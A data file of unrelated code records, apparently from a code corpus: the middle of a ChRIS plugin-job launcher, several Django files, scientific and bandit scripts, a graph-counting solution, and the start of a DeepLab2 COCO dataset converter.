self.l_appArgs] # convert all arguments to string\n str_allCmdLineArgs = ' '.join(self.l_appArgs)\n str_exec = os.path.join(self.c_pluginInst.plugin.selfpath, self.c_pluginInst.plugin.selfexec)\n\n # if len(self.c_pluginInst.plugin.execshell):\n # str_exec = '%s %s' % (self.c_pluginInst.plugin.execshell, str_exec)\n\n self.str_cmd = '%s %s' % (str_exec, str_allCmdLineArgs)\n self.dp.qprint('cmd = %s' % self.str_cmd)\n if str_service == 'pfcon':\n # Handle the case for 'fs'-type plugins that don't specify an \n # inputdir, in which case the self.str_inputdir is empty.\n #\n # Passing an empty string through to pfurl will cause it to fail \n # on its local directory check.\n #\n # The \"hack\" here is to set the 'inputdir' to the fs plugin to the\n # 'dir' argument of its input CLI, if such an argument exists; \n # otherwise, set to '/etc'. \n #\n # Also, for 'fs' plugins, we need to set the \"incoming\" directory \n # to /share/incoming.\n # pudb.set_trace()\n if self.str_inputdir == '':\n d_fs = self.app_service_fsplugin_setup()\n self.str_inputdir = d_fs['d_manage']['d_handle']['inputdir']\n str_serviceName = self.str_jidPrefix + str(self.d_pluginInst['id'])\n d_msg = \\\n { \n \"action\": \"coordinate\",\n \"threadAction\": True,\n \"meta-store\": \n {\n \"meta\": \"meta-compute\",\n \"key\": \"jid\"\n },\n\n \"meta-data\": \n {\n \"remote\": \n {\n \"key\": \"%meta-store\"\n },\n \"localSource\": \n {\n \"path\": self.str_inputdir,\n \"storageType\": \"swift\"\n },\n \"localTarget\": \n {\n \"path\": self.str_outputdir,\n \"createDir\": True\n },\n \"specialHandling\": \n {\n \"op\": \"plugin\",\n \"cleanup\": True\n },\n \"transport\": \n {\n \"mechanism\": \"compress\",\n \"compress\": \n {\n \"archive\": \"zip\",\n \"unpack\": True,\n \"cleanup\": True\n }\n },\n \"service\": str_IOPhost\n },\n\n \"meta-compute\":\n {\n 'cmd': \"%s %s\" % (self.c_pluginInst.plugin.execshell, self.str_cmd),\n 'threaded': True,\n 'auid': self.c_pluginInst.owner.username,\n 'jid': str_serviceName,\n 'number_of_workers': str(self.d_pluginInst['number_of_workers']),\n 'cpu_limit': str(self.d_pluginInst['cpu_limit']),\n 'memory_limit': str(self.d_pluginInst['memory_limit']),\n 'gpu_limit': self.d_pluginInst['gpu_limit'],\n \"container\":\n {\n \"target\": \n {\n \"image\": self.c_pluginInst.plugin.dock_image,\n \"cmdParse\": False,\n \"selfexec\": self.c_pluginInst.plugin.selfexec,\n \"selfpath\": self.c_pluginInst.plugin.selfpath,\n \"execshell\": self.c_pluginInst.plugin.execshell\n },\n \"manager\":\n {\n \"image\": \"fnndsc/swarm\",\n \"app\": \"swarm.py\",\n \"env\":\n {\n \"meta-store\": \"key\",\n \"serviceType\": \"docker\",\n \"shareDir\": \"%shareDir\",\n \"serviceName\": str_serviceName\n }\n }\n },\n \"service\": str_IOPhost\n }\n }\n d_status = {\n \"action\": \"status\",\n \"meta\": {\n \"remote\": {\n \"key\": str_serviceName\n }\n }\n } \n str_dmsgExec = json.dumps(d_msg, indent = 4, sort_keys = True)\n str_dmsgStat = json.dumps(d_status, indent = 4, sort_keys = True)\n \n str_pfurlCmdHeader = \"\"\"\\npfurl \\\\\n --verb POST --raw --http ${HOST_IP}:5005/api/v1/cmd \\\\\n --httpResponseBodyParse \\\\\n --jsonwrapper 'payload' --msg '\"\"\"\n str_pfurlCmdExec = str_pfurlCmdHeader + \"\"\"\n %s\n '\n \"\"\" % str_dmsgExec\n str_pfurlCmdStatus = str_pfurlCmdHeader + \"\"\"\n %s\n '\n \"\"\" % str_dmsgStat \n\n ###\n # NB: This is a good break point in charm to pause \n # execution and not keep interrupting downstream\n # service for status data that might break debugging\n # context in services like 'pfcon'\n #\n # Simply comment/uncomment the break point and \"Next\"\n # along to the self.app_service_call\n ##\n ## pudb.set_trace()\n datadir = os.path.join(expanduser(\"~\"), 'data')\n if os.path.exists(datadir):\n if not os.path.exists(os.path.join(datadir, 'tmp')):\n os.makedirs(os.path.join(datadir, 'tmp'))\n self.dp.qprint( str_pfurlCmdExec, \n teeFile = os.path.join(datadir, 'tmp/dmsg-exec-%s.json' % str_serviceName),\n teeMode = 'w+')\n self.dp.qprint( str_pfurlCmdStatus, \n teeFile = os.path.join(datadir, 'tmp/dmsg-stat-%s.json' % str_serviceName),\n teeMode = 'w+')\n else:\n self.dp.qprint( str_pfurlCmdExec, \n teeFile = '/tmp/dmsg-exec-%s.json' % str_serviceName, \n teeMode = 'w+')\n self.dp.qprint( str_pfurlCmdStatus, \n teeFile = '/tmp/dmsg-stat-%s.json' % str_serviceName, \n teeMode = 'w+')\n\n d_response = self.app_service_call(msg = d_msg, **kwargs)\n\n if isinstance(d_response, dict):\n self.dp.qprint(\"looks like we got a successful response from %s\" % str_service)\n self.dp.qprint('response from pfurl(): %s ' % json.dumps(d_response, indent=2))\n else:\n self.dp.qprint(\"looks like we got an UNSUCCESSFUL response from %s\" % str_service)\n self.dp.qprint('response from pfurl(): %s' % d_response)\n if \"Connection refused\" in d_response:\n self.dp.qprint('fatal error in talking to %s' % str_service, comms = 'error')\n\n def app_statusCheckAndRegister(self, *args, **kwargs):\n \"\"\"\n Check on the status of the job, and if just finished without error,\n register output files.\n \"\"\"\n\n # pudb.set_trace()\n\n # Now ask the remote service for the job status\n d_msg = {\n \"action\": \"status\",\n \"meta\": {\n \"remote\": {\n \"key\": self.str_jidPrefix + str(self.d_pluginInst['id'])\n }\n }\n }\n\n d_response = self.app_service_call(msg = d_msg, service = 'pfcon', **kwargs)\n self.dp.qprint('d_response = %s' % json.dumps(d_response, indent = 4, sort_keys = True))\n str_responseStatus = \"\"\n for str_action in ['pushPath', 'compute', 'pullPath', 'swiftPut']:\n if str_action == 'compute':\n for str_part in ['submit', 'return']:\n str_actionStatus = str(d_response['jobOperationSummary'][str_action][str_part]['status'])\n str_actionStatus = ''.join(str_actionStatus.split())\n str_responseStatus += str_action + '.' + str_part + ':' + str_actionStatus + ';'\n else:\n str_actionStatus = str(d_response['jobOperationSummary'][str_action]['status'])\n str_actionStatus = ''.join(str_actionStatus.split())\n str_responseStatus += str_action + ':' + str_actionStatus + ';'\n\n str_DBstatus = self.c_pluginInst.status\n self.dp.qprint('Current job DB status = %s' % str_DBstatus, comms = 'status')\n self.dp.qprint('Current job remote status = %s' % str_responseStatus, comms = 'status')\n if 'swiftPut:True' in str_responseStatus and str_DBstatus != 'finishedSuccessfully':\n # pudb.set_trace()\n b_swiftFound = False\n d_swiftState = {}\n if 'swiftPut' in d_response['jobOperation']['info']:\n d_swiftState = d_response['jobOperation']['info']['swiftPut']\n b_swiftFound = True\n maxPolls = 10\n currentPoll = 1\n while not b_swiftFound and currentPoll <= maxPolls: \n if 'swiftPut' in d_response['jobOperation']['info']:\n d_swiftState = d_response['jobOperation']['info']['swiftPut']\n b_swiftFound = True\n self.dp.qprint('Found swift return data on poll %d' % currentPoll)\n break\n self.dp.qprint('swift return data not found on poll %d; will sleep a bit...' % currentPoll)\n time.sleep(0.2)\n d_response = self.app_service_call(msg = d_msg, service = 'pfcon', **kwargs)\n currentPoll += 1\n\n d_register = self.c_pluginInst.register_output_files(\n swiftState = d_swiftState\n )\n\n # This doesn't work when CUBE container is not started as root\n # str_registrationMsg = \"\"\"\n # Registering output files...\n #\n # pfcon swift poll loops = %d\n # charm swift poll loops = %d\n # swift prefix path = %s\n #\n # In total, registered %d objects.\n #\n # Object list:\\n\"\"\" % (\n # d_register['pollLoop'],\n # currentPoll,\n # d_register['outputPath'],\n # d_register['total']\n # )\n # #pudb.set_trace()\n # for obj in d_register['l_object']:\n # str_registrationMsg += obj['name'] + '\\n'\n # self.dp.qprint('%s' % str_registrationMsg, status = 'comms',\n # teeFile = 'os.path.join(expanduser(\"~\"), 'data/tmp/registrationMsg-%s.txt' % str(self.d_pluginInst['id'])),\n # teeMode = 'w+')\n\n\n str_responseStatus = 'finishedSuccessfully'\n self.c_pluginInst.status = str_responseStatus\n self.c_pluginInst.end_date = timezone.now()\n self.c_pluginInst.save()\n self.dp.qprint(\"Saving job DB status as '%s'\" % str_responseStatus,\n comms = 'status')\n self.dp.qprint(\"Saving job DB end_date as '%s'\" % self.c_pluginInst.end_date,\n comms = 'status')\n\n # NB: Improve error handling!!\n if str_responseStatus == 'finishedWithError': self.app_handleRemoteError(**kwargs)\n return str_responseStatus\n\n def app_handleRemoteError(self, *args, **kwargs):\n \"\"\"\n Collect the 'stderr' from the remote app\n \"\"\"\n\n str_deepVal = ''\n\n def str_deepnest(d):\n nonlocal str_deepVal\n for k, v in d.items():\n if isinstance(v, dict):\n str_deepnest(v)\n else:\n str_deepVal = '%s' % (\"{0} : {1}\".format(k, v))\n # str_deepVal = v\n\n # Collect the 'stderr' from the app service for this instance\n d_msg = {\n \"action\": \"search\",\n \"meta\": {\n \"key\": \"jid\",\n \"value\": self.str_jidPrefix + str(self.d_pluginInst['id']),\n \"job\": \"0\",\n \"when\": \"end\",\n \"field\": \"stderr\"\n }\n }\n d_response = self.app_service_call(msg = d_msg, **kwargs)\n self.str_deep = ''\n str_deepnest(d_response['d_ret'])\n self.dp.qprint(str_deepVal, comms = 'error')\n\n d_msg['meta']['field'] = 'returncode'\n d_response = self.app_service_call(msg = d_msg, **kwargs)\n str_deepnest(d_response['d_ret'])\n self.dp.qprint(str_deepVal, comms = 'error')\n","sub_path":"chris_backend/plugininstances/services/charm.py","file_name":"charm.py","file_ext":"py","file_size_in_byte":43788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"163949158","text":"from django.test import TestCase\nfrom accumulator.views import index\nfrom decimal import Decimal\nfrom accumulator.models import Game, Odd\nfrom accumulator.views import combinationsForTwoGames, getGameCombinations, getPerOutcome, combineComboListWithGameList, breakListIntoEqualChunks, getIdAndOutcome, getLengthOfCombo, getTwoCombinedGames, calculateOddsForTwoMatches\n\nclass CalculatingAccumulatorFromTwoGames(TestCase):\n def setUp(self):\n Game.objects.create(id=1, games='Fiorentina vs Torino', time='19:45:00', date_of_game='2017-02-27')\n Game.objects.create(id=2, games='Arouca vs Belenenses', time='19:45:00', date_of_game='2017-02-27')\n\n Odd.objects.create(id=1, home_odds=0.91, draw_odds=2.75, away_odds=3.00,\n games=Game.objects.get(pk=1))\n Odd.objects.create(id=2, home_odds=1.30, draw_odds=2.00, away_odds=2.20,\n games=Game.objects.get(pk=2))\n\n self.games = Game.objects.values_list('pk', flat = True)\n self.get_combo = combinationsForTwoGames(len(self.games))\n self.get_games = getGameCombinations(self.get_combo, self.games)\n self.combos = getPerOutcome(self.get_combo)\n self.match = int(len(self.get_games))\n self.game = int(len(self.combos))\n self.new_combo = combineComboListWithGameList(self.combos, self.get_games, self.match, self.game)\n self.getNum = list(breakListIntoEqualChunks(self.new_combo, 2))\n self.getOddsCombo = getLengthOfCombo(self.getNum,9)\n self.getAllOddsCombo = getTwoCombinedGames(self.getOddsCombo)\n self.getCombinedDecimals = list(breakListIntoEqualChunks(self.getAllOddsCombo, 2))\n self.getCombinedCalculation = calculateOddsForTwoMatches(self.getCombinedDecimals)\n\n def test_GetCalculationOfTwoGamesIndex_0(self):\n self.assertEqual(Decimal('3.39302'), self.getCombinedCalculation[0])\n","sub_path":"accumulator/tests/twoGamesAccumulator/__pycache__/calculatingAccumulatorFromTwoGames.py","file_name":"calculatingAccumulatorFromTwoGames.py","file_ext":"py","file_size_in_byte":1862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"512909278","text":"from django import forms\nfrom .models import MenuItem\nfrom simple_pages.models import Page\n\nFAVORITE_COLORS_CHOICES = (\n ('blue', 'Blue'),\n ('green', 'Green'),\n ('black', 'Black'),\n)\nclass MenuItemForm(forms.ModelForm):\n existing_pages = [(page.short_url,'{0}({1})'.format(page.title, page.short_url)) for page in Page.objects.all()]\n url = forms.ChoiceField(\n required=False,\n choices=existing_pages\n )\n\n","sub_path":"settings/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"372702988","text":"from __future__ import (absolute_import, division, print_function)\n\nimport os\nimport pytest\n\nimport gridgeo\n\ndata_path = os.path.join(os.path.dirname(__file__), 'data')\n\nespresso_string = os.path.join(data_path,\n 'ESPRESSO_Real-Time_v2_Averages_Best.nc')\n\npoint_time_series_string = os.path.join(data_path,\n 'point_time_series.nc')\n\n\ndef test_more_than_one_grid():\n with pytest.raises(ValueError):\n gridgeo.GridGeo(espresso_string)\n\n\ndef test_no_grid():\n with pytest.raises(ValueError):\n gridgeo.GridGeo(point_time_series_string)\n","sub_path":"tests/test_fail.py","file_name":"test_fail.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"129225084","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations\n\n\ndef add_default_streams(apps, schema_editor):\n Chamber = apps.get_model('legislators', 'Chamber')\n Stream = apps.get_model('core', 'Stream')\n\n Stream.objects.create(\n chamber=Chamber.objects.get(name='Texas House'),\n granicus_subdomain='tlchouse',\n camera_id=3,\n direct_event_feed=False,\n )\n\n Stream.objects.create(\n chamber=Chamber.objects.get(name='Texas Senate'),\n granicus_subdomain='tlcsenate',\n camera_id=8,\n direct_event_feed=False,\n )\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('core', '0006_stream'),\n ]\n\n operations = [\n migrations.RunPython(add_default_streams),\n ]\n","sub_path":"txlege84/core/migrations/0007_create_default_streams.py","file_name":"0007_create_default_streams.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"351839952","text":"import os\nimport matplotlib.pyplot as plt\nfrom pMuTT import constants as c\nfrom pMuTT.io_.excel import read_excel\nfrom pMuTT.io_.thermdat import write_thermdat\nfrom pMuTT.models.empirical.nasa import Nasa\nfrom pMuTT.models.empirical.references import Reference, References\n\n'''\nUser inputs\n'''\nbase_path = os.path.dirname(__file__)\n\n#Reference information\nrefs_path = '{}/references.xlsx'.format(base_path)\n\n#Surface information\nsurfaces_path = '{}/surfaces.xlsx'.format(base_path)\n\n#Input information\nspecies_path = '{}/input_data.xlsx'.format(base_path)\nT_low = 100.\nT_high = 1500. #K\n\n#Output information\nthermdat_path = '{}/thermdat'.format(base_path)\n\n#Miscellaneous options\nsave_plot = True\n\n'''\nProcessing References\n'''\n#Import from excel\nrefs_data = read_excel(io=refs_path)\nrefs = References([Reference(**ref_data) for ref_data in refs_data])\n\n'''\nProcessing Surfaces\n'''\nsurfaces_data = read_excel(io=surfaces_path)\n\n'''\nProcessing Input Species\n'''\n#Import from excel\nspecies_data = read_excel(io=species_path)\n#Adjust potential energy to subtract contribution from surface\nfor specie_data in species_data:\n #Find appropriate surface\n for surface_data in surfaces_data:\n if surface_data['name'] in specie_data['notes']:\n specie_data['potentialenergy'] -= surface_data['potentialenergy']\n break\nspecies = [Nasa.from_statmech(references=refs, T_low=T_low, T_high=T_high, \\\n **specie_data) for specie_data in species_data]\n\n'''\nPrinting Out Results\n'''\nwrite_thermdat(nasa_species=species, filename=thermdat_path)\nif save_plot:\n for nasa in species:\n nasa.plot_statmech_and_empirical(Cp_units='J/mol/K', H_units='kJ/mol', \n S_units='J/mol/K', G_units='kJ/mol')\n thermo_plot_path = os.path.join( \\\n *[base_path, 'thermo_plots', '{}.png'.format(nasa.name)])\n plt.savefig(thermo_plot_path)","sub_path":"examples/VASP_to_thermdat/example2/VASP_to_thermdat_example2.py","file_name":"VASP_to_thermdat_example2.py","file_ext":"py","file_size_in_byte":1938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"124305894","text":"import sys\nimport constants\nimport numpy as np\nimport scipy.stats as stats\n\nclass BanditGo(object):\n def __init__(self, initial_strategy, bandit):\n self.current_arm = initial_strategy\n self.bandit = bandit\n\n self.results = {\n 'upper_left': [0, 0],\n 'upper_middle': [0, 0],\n 'upper_right': [0, 0],\n 'lower_left': [0, 0],\n 'lower_middle': [0, 0],\n 'lower_right': [0, 0]\n }\n self.N = 0\n\n def _outcome(self, action):\n k = np.random.choice(list(constants.p_shot.keys()), p=list(constants.p_shot.values())) # kicker choice of strategy\n\n if np.random.uniform(0, 1) < constants.p_miss[k]:\n return 1\n if k == action:\n if np.random.uniform(0, 1) < constants.p_block[k]:\n return 1\n return 0\n\n def update(self):\n self.results[self.current_arm][0] += self._outcome(self.current_arm)\n self.results[self.current_arm][1] += 1\n\n def choose_arm(self):\n wins = np.array([win_trial_lst[0] for win_trial_lst in self.results.values()])\n trials = np.array([win_trial_lst[1] for win_trial_lst in self.results.values()])\n self.N += 1\n self.current_arm = self.bandit(wins, trials, self.N)\n\n\ndef bayesian(wins, trials, N):\n '''\n Randomly sample from a beta distribution for each bandit and pick the one\n with the largest value.\n Return the index of the winning bandit.\n '''\n return constants.strats[np.argmax(stats.beta.rvs(1 + wins, 1 + trials - wins))]\n\n\ndef softmax(wins, trials, N):\n '''\n Pick an bandit according to the Boltzman Distribution.\n Return the index of the winning bandit.\n '''\n tau = 3.345e-2\n\n mean = wins / (trials + 1)\n scaled = np.exp(mean / tau)\n probs = scaled / np.sum(scaled)\n print(probs)\n return constants.strats[np.random.choice(range(0, 6), p=probs)] # since there are six strategies\n\n\ndef ucb1(wins, trials, N):\n '''\n Pick the bandit according to the UCB1 strategy.\n Return the index of the winning bandit.\n '''\n\n if len(trials.nonzero()[0]) < 6:\n return constants.strats[np.random.randint(0, 6)]\n else:\n means = wins / (trials + 1)\n confidence_bounds = np.sqrt((2. * np.log(N)) / trials)\n upper_confidence_bounds = means + confidence_bounds\n return constants.strats[np.argmax(upper_confidence_bounds)]\n\n\nif __name__ == '__main__':\n bg = BanditGo('lower_middle', softmax)\n\n count = 0\n chosen_strats = []\n while count < 100000:\n bg.update()\n bg.choose_arm()\n chosen_strats.append(bg.current_arm)\n count += 1\n\n print('\\n')\n print(bg.results)\n print(dict(zip(bg.results.keys(), [val[0] / val[1] for val in bg.results.values()])))\n\n print(len([strat for strat in chosen_strats[-1000:] if strat == 'lower_left']))\n print(len([strat for strat in chosen_strats[-1000:] if strat == 'lower_right']))\n","sub_path":"estimation/prediction/tensorflow/projects/penalty_kicks/penalty_kicks_empirical_bandit.py","file_name":"penalty_kicks_empirical_bandit.py","file_ext":"py","file_size_in_byte":2972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"272084145","text":"# -*- coding: utf-8 -*-\nfrom flask import (\n request,\n redirect,\n url_for,\n flash,\n g,\n abort,\n render_template\n)\nfrom flask.views import MethodView\nfrom flask.ext.login import current_app, login_required, current_user\nfrom collections import OrderedDict\n\nfrom VJ.models import (\n ContestModel,\n UserModel,\n SolutionItem\n)\nfrom datetime import datetime, timedelta\n\n\nclass ContestRankView(MethodView):\n\n template = 'contest/contest_rank.html'\n\n def get(self, contest_id):\n contest = ContestModel.objects.get_or_404(contest_id=contest_id)\n if contest.start_at > datetime.now():\n return redirect(\n url_for(\n 'contest.detail',\n contest_id=contest_id\n )\n )\n contest_problems = contest.problems\n rank = OrderedDict()\n solutions = SolutionItem.objects(\n contest_id=contest_id,\n created_at__lte=contest.end_at,\n created_at__gte=contest.start_at\n ).all()\n\n for s in solutions:\n if s.result == 1:\n rank.setdefault(s.user.username, {}).\\\n setdefault('problems', {}).\\\n setdefault(s.c_index, {}).\\\n setdefault('is_solved', True)\n rank.setdefault(s.user.username, {}).\\\n setdefault('problems', {}).\\\n setdefault(s.c_index, {}).\\\n setdefault('solution', s)\n else:\n error_count = rank.setdefault(s.user.username, {}).\\\n setdefault('problems', {}).\\\n setdefault(s.c_index, {}).\\\n setdefault('error_count', 0)\n rank[s.user.username]\\\n ['problems'][s.c_index]['error_count'] = error_count + 1\n\n for r in rank.keys():\n accept_problems = []\n rank[r].setdefault('penalties', timedelta(0))\n rank[r].setdefault('accepts_count', 0)\n for i in rank[r]['problems'].keys():\n if rank[r]['problems'][i].get('is_solved', False):\n penalty = rank[r]['problems'][i].setdefault(\n 'penalty',\n rank[r]['problems'][i]['solution'].\\\n created_at - contest.start_at\n )\n rank[r]['problems'][i]['penalty'] = \\\n penalty + timedelta(minutes=20) * \\\n rank[r]['problems'][i].get('error_count', 0)\n if i not in accept_problems:\n rank[r]['accepts_count'] += 1\n accept_problems.append(i)\n rank[r]['problems'][i].setdefault('error_count', 0)\n else:\n rank[r]['problems'][i].setdefault('penalty', timedelta(0))\n rank[r]['problems'][i].setdefault('is_solved', False)\n rank[r]['penalties'] += rank[r]['problems'][i]['penalty']\n rank = OrderedDict(sorted(rank.iteritems(), key=lambda x: x[1]['penalties']))\n rank = OrderedDict(sorted(rank.iteritems(), key=lambda x: x[1]['accepts_count'], reverse=True))\n\n return render_template(\n self.template,\n contest=contest,\n contest_problems=contest_problems,\n rank=rank\n )\n","sub_path":"VJ/views/contest/rank.py","file_name":"rank.py","file_ext":"py","file_size_in_byte":3400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"624218845","text":"# https://www.urionlinejudge.com.br/judge/en/problems/view/2854\n# 2854 - Family Tree\n\n# Each family is a closed off set of nodes. Loop through\n# each index and check if it's not visited, and then set all of\n# the connected nodes to visited. Repeat until all nodes are visited.\n# Each time you find an index that is not visited, that's a new family.\n\ndef dfs(graph, v, is_visited):\n is_visited[v] = True\n for u in graph[v]:\n if not is_visited[u]:\n dfs(graph, u, is_visited)\n\nm, n = map(int, input().split())\n\nname_to_id, next_id = {}, 0\nis_visited = [False for _ in range(m)]\ngraph = [[] for _ in range(m)]\nfamilies = 0\n\nfor i in range(n):\n p1, c, p2 = input().split()\n\n if p1 not in name_to_id:\n name_to_id[p1] = next_id\n next_id += 1\n if p2 not in name_to_id:\n name_to_id[p2] = next_id\n next_id += 1\n\n graph[name_to_id[p1]].append(name_to_id[p2])\n graph[name_to_id[p2]].append(name_to_id[p1])\n\nfor v in range(m):\n if not is_visited[v]:\n dfs(graph, v, is_visited)\n families += 1\n\nprint(families)","sub_path":"uri/2854.py","file_name":"2854.py","file_ext":"py","file_size_in_byte":1079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"210268201","text":"\"\"\"Speech segment and speaker identification.\n\"\"\"\n\nimport argparse\nimport logging\nimport os\nfrom typing import Optional, Union\n\nfrom pyannote.audio import Pipeline\n\nfrom mexca.data import SpeakerAnnotation\nfrom mexca.utils import ClassInitMessage, bool_or_str, optional_int\n\n\nclass AuthenticationError(Exception):\n \"\"\"Failed authentication to HuggingFace Hub.\n\n Parameters\n ----------\n msg : str\n Error message.\n\n \"\"\"\n\n def __init__(self, msg: str):\n super().__init__(msg)\n\n\nclass SpeakerIdentifier:\n \"\"\"Identify speech segments and cluster speakers using speaker diarization.\n\n Wrapper class for ``pyannote.audio.SpeakerDiarization``.\n\n Parameters\n ----------\n num_speakers : int, optional\n Number of speakers to which speech segments will be assigned during the clustering\n (oracle speakers). If `None`, the number of speakers is estimated from the audio signal.\n use_auth_token : bool or str, default=True\n Whether to use the HuggingFace authentication token stored on the machine (if bool) or\n a HuggingFace authentication token with access to the models ``pyannote/speaker-diarization``\n and ``pyannote/segmentation`` (if str).\n\n Notes\n -----\n This class requires pretrained models for speaker diarization and segmentation from HuggingFace.\n To download the models accept the user conditions on ``_ and\n ``_. Then generate an authentication token on ``_.\n\n \"\"\"\n\n def __init__(\n self,\n num_speakers: Optional[int] = None,\n use_auth_token: Union[bool, str] = True,\n ):\n self.logger = logging.getLogger(\n \"mexca.audio.identification.SpeakerIdentifier\"\n )\n self.num_speakers = num_speakers\n self.use_auth_token = use_auth_token\n # Lazy initialization\n self._pipeline = None\n self.logger.debug(ClassInitMessage())\n\n # Initialize pretrained models only when needed\n @property\n def pipeline(self) -> Pipeline:\n \"\"\"The pretrained speaker diarization pipeline.\n See `pyannote.audio.SpeakerDiarization `_ for details.\n \"\"\"\n if not self._pipeline:\n try:\n self._pipeline = Pipeline.from_pretrained(\n \"pyannote/speaker-diarization\",\n use_auth_token=self.use_auth_token,\n )\n\n except EnvironmentError as exc:\n self.logger.exception(\"EnvironmentError: %s\", exc)\n raise exc\n\n try:\n if self._pipeline is None:\n raise AuthenticationError(\n 'Could not download pretrained \"pyannote/speaker-diarization\" pipeline; please provide a valid authentication token'\n )\n\n except AuthenticationError as exc:\n self.logger.exception(\"Error: %s\", exc)\n raise exc\n\n self.logger.debug(\"Initialized speaker diarization pipeline\")\n\n return self._pipeline\n\n # Delete pretrained models when not needed anymore\n @pipeline.deleter\n def pipeline(self):\n self._pipeline = None\n self.logger.debug(\"Removed speaker diarization pipeline\")\n\n def apply(self, filepath: str) -> SpeakerAnnotation:\n \"\"\"Identify speech segments and speakers.\n\n Parameters\n ----------\n filepath : str\n Path to the audio file.\n\n Returns\n -------\n SpeakerAnnotation\n A data class object that contains detected speech segments and speakers.\n\n \"\"\"\n\n annotation = self.pipeline(filepath, num_speakers=self.num_speakers)\n\n del self.pipeline\n\n self.logger.info(\"Detected %s speakers\", len(annotation.labels()))\n self.logger.debug(\"Detected speaker chart: %s\", annotation.chart())\n\n # Update URI to point to a valid file (otherwise pydantic throws an error)\n annotation.uri = filepath\n\n return SpeakerAnnotation.from_pyannote(\n annotation.rename_labels(generator=\"int\")\n )\n\n\ndef cli():\n \"\"\"Command line interface for identifying speech segments and speakers.\n See `identify-speakers -h` for details.\n \"\"\"\n\n parser = argparse.ArgumentParser(\n formatter_class=argparse.ArgumentDefaultsHelpFormatter\n )\n\n parser.add_argument(\"-f\", \"--filepath\", type=str, required=True)\n parser.add_argument(\"-o\", \"--outdir\", type=str, required=True)\n parser.add_argument(\n \"--num-speakers\", type=optional_int, default=None, dest=\"num_speakers\"\n )\n parser.add_argument(\n \"--use-auth-token\",\n type=bool_or_str,\n default=True,\n dest=\"use_auth_token\",\n )\n\n args = parser.parse_args().__dict__\n\n identifier = SpeakerIdentifier(\n num_speakers=args[\"num_speakers\"], use_auth_token=args[\"use_auth_token\"]\n )\n\n output = identifier.apply(args[\"filepath\"])\n\n output.write_rttm(\n os.path.join(\n args[\"outdir\"],\n os.path.splitext(os.path.basename(args[\"filepath\"]))[0]\n + \"_audio_annotation.rttm\",\n )\n )\n\n\nif __name__ == \"__main__\":\n cli()\n","sub_path":"mexca/audio/identification.py","file_name":"identification.py","file_ext":"py","file_size_in_byte":5347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"108949627","text":"# coding=utf-8\n# Copyright 2021 The Deeplab2 Authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Converts COCO data to sharded TFRecord file format with Example protos.\n\nPlease check\n ../g3doc/setup/coco.md\nfor instructions.\n\"\"\"\n\nimport collections\nimport json\nimport math\nimport os\n\nfrom typing import Sequence, Tuple, Any\n\nfrom absl import app\nfrom absl import flags\nfrom absl import logging\nimport numpy as np\nimport tensorflow as tf\n\nfrom deeplab2.data import coco_constants\nfrom deeplab2.data import data_utils\nfrom deeplab2.data import dataset\n\nFLAGS = flags.FLAGS\n\nflags.DEFINE_string('coco_root', None, 'coco dataset root folder.')\n\nflags.DEFINE_string('output_dir', None,\n 'Path to save converted TFRecord of TensorFlow examples.')\n\nflags.DEFINE_boolean('treat_crowd_as_ignore', True,\n 'Whether to apply ignore labels to crowd pixels in '\n 'panoptic label.')\n\n_NUM_SHARDS = 1000\n\n\n_SPLITS_TO_SIZES = dataset.COCO_PANOPTIC_INFORMATION.splits_to_sizes\n_IGNORE_LABEL = dataset.COCO_PANOPTIC_INFORMATION.ignore_label\n_CLASS_HAS_INSTANCE_LIST = dataset.COCO_PANOPTIC_INFORMATION.class_has_instances_list\n_PANOPTIC_LABEL_DIVISOR = dataset.COCO_PANOPTIC_INFORMATION.panoptic_label_divisor\n_CLASS_MAPPING = coco_constants.get_id_mapping()\n\n# A map from data type to folder name that saves the data.\n_FOLDERS_MAP = {\n 'train': {\n 'image': 'train2017',\n 'label': 'annotations',\n },\n 'val': {\n 'image': 'val2017',\n 'label': 'annotations',\n },\n 'test': {\n 'image': 'test2017',\n 'label': '',\n }\n}\n\n# A map from data type to data format.\n_DATA_FORMAT_MAP = {\n 'image': 'jpg',\n 'label': 'png',\n}\n_PANOPTIC_LABEL_FORMAT = 'raw'\n\n\ndef _get_images(coco_root: str, dataset_split: str) -> Sequence[str]:\n \"\"\"Gets files for the specified data type and dataset split.\n\n Args:\n coco_root: String, path to coco dataset root folder.\n dataset_split: String, dataset split ('train', 'val', 'test').\n\n Returns:\n A list of sorted file names.\n \"\"\"\n pattern = '*.%s' % _DATA_FORMAT_MAP['image']\n search_files = os.path.join(\n coco_root, _FOLDERS_MAP[dataset_split]['image'], pattern)\n filenames = tf.io.gfile.glob(search_files)\n return sorted(filenames)\n\n\ndef _get_panoptic_annotation(coco_root: str, dataset_split: str,\n annotation_file_name: str) -> str:\n panoptic_folder = 'panoptic_%s2017' % dataset_split\n return os.path.join(coco_root, _FOLDERS_MAP[dataset_split]['label'],\n panoptic_folder, 